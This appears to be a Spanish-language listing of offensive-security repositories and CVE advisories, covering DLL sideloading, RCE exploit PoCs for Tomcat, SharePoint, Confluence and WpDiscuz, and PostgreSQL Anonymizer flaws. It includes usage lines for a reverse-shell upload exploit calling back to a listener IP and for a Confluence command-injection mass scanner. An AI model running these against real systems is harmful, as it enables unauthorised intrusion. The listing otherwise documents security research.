OneDriveUpdaterSideloading

Sideloading de DLL de OneDriveUpdater Este repositorio contiene el código fuente para el sideloading de DLL de version.dll para OneDriveUpdater.exe/OneDriveStandaloneUpdater.exe. El payload se basa en las subrutinas descritas en el artículo del blog de PaloAltoNetworks Unit42. Mi artículo de blog...

Lastenzug

LastenZug Este proyecto implementa un proxy Socka4a basado en websockets. El componente cliente está implementado en C y se compila como código totalmente independiente de posición PIC. Durante el proceso de compilación, se aplica ofuscación a nivel de ensamblador mediante una segunda herramienta...

Awesome-RCE-techniques

Increíbles técnicas de RCE ¡Lista increíble de técnicas para lograr Ejecución Remota de Código RCE en varias aplicaciones! Objetivo de este proyecto El objetivo de este proyecto es proporcionar una base de conocimiento OpenSource de todas las técnicas para lograr la Ejecución Remota de Código RCE...

CVE-2026-83534

PostgreSQL Anonymizer contains a privilege escalation vulnerability in the anon.anonymize_database_parallel() function, allowing the owner of a table to execute arbitrary code with superuser privileges. The CVSS 3.1 score is 6.4 (MEDIUM) , with a network attack vector, high complexity, high privi...

EUVD-2026-72143

PostgreSQL Anonymizer contains a vulnerability in the anon.anonymizedatabaseparallel function that allows the owner of a table to run arbitrary code with superuser privilege. The issue is fixed in PostgreSQL Anonymizer 3.2.0 and later versions...

EUVD-2026-72142

PostgreSQL Anonymizer contains a SQL injection vulnerability in two import functions. A user can create a malicious JSON document containing specially crafted object names. If a superuser subsequently calls anon.importdatabaserules or anon.importrolesrules, the malicious code is executed with...

CVE-2026-19633

PostgreSQL Anonymizer is a PostgreSQL extension for data masking. This vulnerability allows unprivileged masked users to execute arbitrary code by abusing operators, domain casts, or view subqueries that carry untrusted expressions. When these objects are evaluated within the extension's masking ...

EUVD-2026-72141

PostgreSQL Anonymizer contains a vulnerability that allows unprivileged masked users to execute arbitrary code by abusing operators, domain casts, or view subqueries that carry untrusted expressions. When these objects are evaluated in the context of the extension’s masking mechanisms, the...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad. Publicación del...

cq

cq Code Query, una herramienta universal de escaneo de seguridad de código. CQ escanea código en busca de vulnerabilidades de seguridad y otros elementos de interés para revisores de código centrados en seguridad. Genera archivos de texto que contienen referencias a los problemas encontrados, en ...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

Blackash-CVE-2025-53770

🧠 CVE-2025-53770 : Critical SharePoint RCE Vulnerability Exploited via ViewState Forgery 📌 Vulnerability Overview Type : Remote Code Execution RCE CVSS Score : 9.8 Critical Component : Microsoft SharePoint Server on-prem Root Cause : Insecure deserialization of ViewState data using stolen ASP.NET...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC Prueba de concepto PoC que explota CVE-2025-24813, una vulnerabilidad de ejecución remota de código RCE en Apache Tomcat. La vulnerabilidad permite a un atacante subir una carga útil serializada maliciosa al servidor, lo que conduce a la ejecución arbitraria d...

SCMKit

SCMKit Descripción S ource C ode M anagement Attack Toolkit - SCMKit es un kit de herramientas que se puede utilizar para atacar sistemas SCM. SCMKit permite al usuario especificar el sistema SCM y el módulo de ataque a utilizar, junto con credenciales válidas usuario/contraseña o clave de API...

CVE-2022-26134

CVE-2022-26134 - Vulnerabilidad de inyección OGNL en Confluence Uso del script Instalar la biblioteca de Python pip install -r requirements.txt Verificación de la vulnerabilidad python3 CVE-2022-26134check.py -u url -c whoami Escaneo masivo python3 CVE-2022-26134check.py -f url.txt -c whoami...

cve-2023-5044

CVE-2023-5044 Ingress Nginx Exploit Proof-Of-Concept This is a quick Go program to exploit the recent CVE in the Ingress Nginx controller. Details on how to do this are already out there via Rory McCune's blog at https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, this just...

Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution-Exploit

Este repositorio no tiene un README...

Starlink-FI

Modchip para terminal de usuario Starlink Este repositorio acompaña a la charla titulada "Glitched on Earth by Humans: A Black-Box Security Evaluation of the SpaceX Starlink User Terminal". Las diapositivas están disponibles aquí; la grabación de la charla debería estar disponible pronto. La char...

Blackhat-USA-2022-Materials

Materiales de Presentación de Black Hat USA 2022 Materiales de presentación para mis charlas Briefing y Arsenal de Black Hat USA 2022 Black Hat USA Briefing - Controlling the Source: Abusing Source Code Management Systems Descripción...

akamai-security-research

Investigación de Seguridad de Akamai Este repositorio incluye código e IoCs que son el producto de la investigación realizada por los diversos equipos de investigación de seguridad de Akamai. Puede leer sobre nuestra investigación en el blog de seguridad de Akamai. Derechos de autor 2024 Akamai...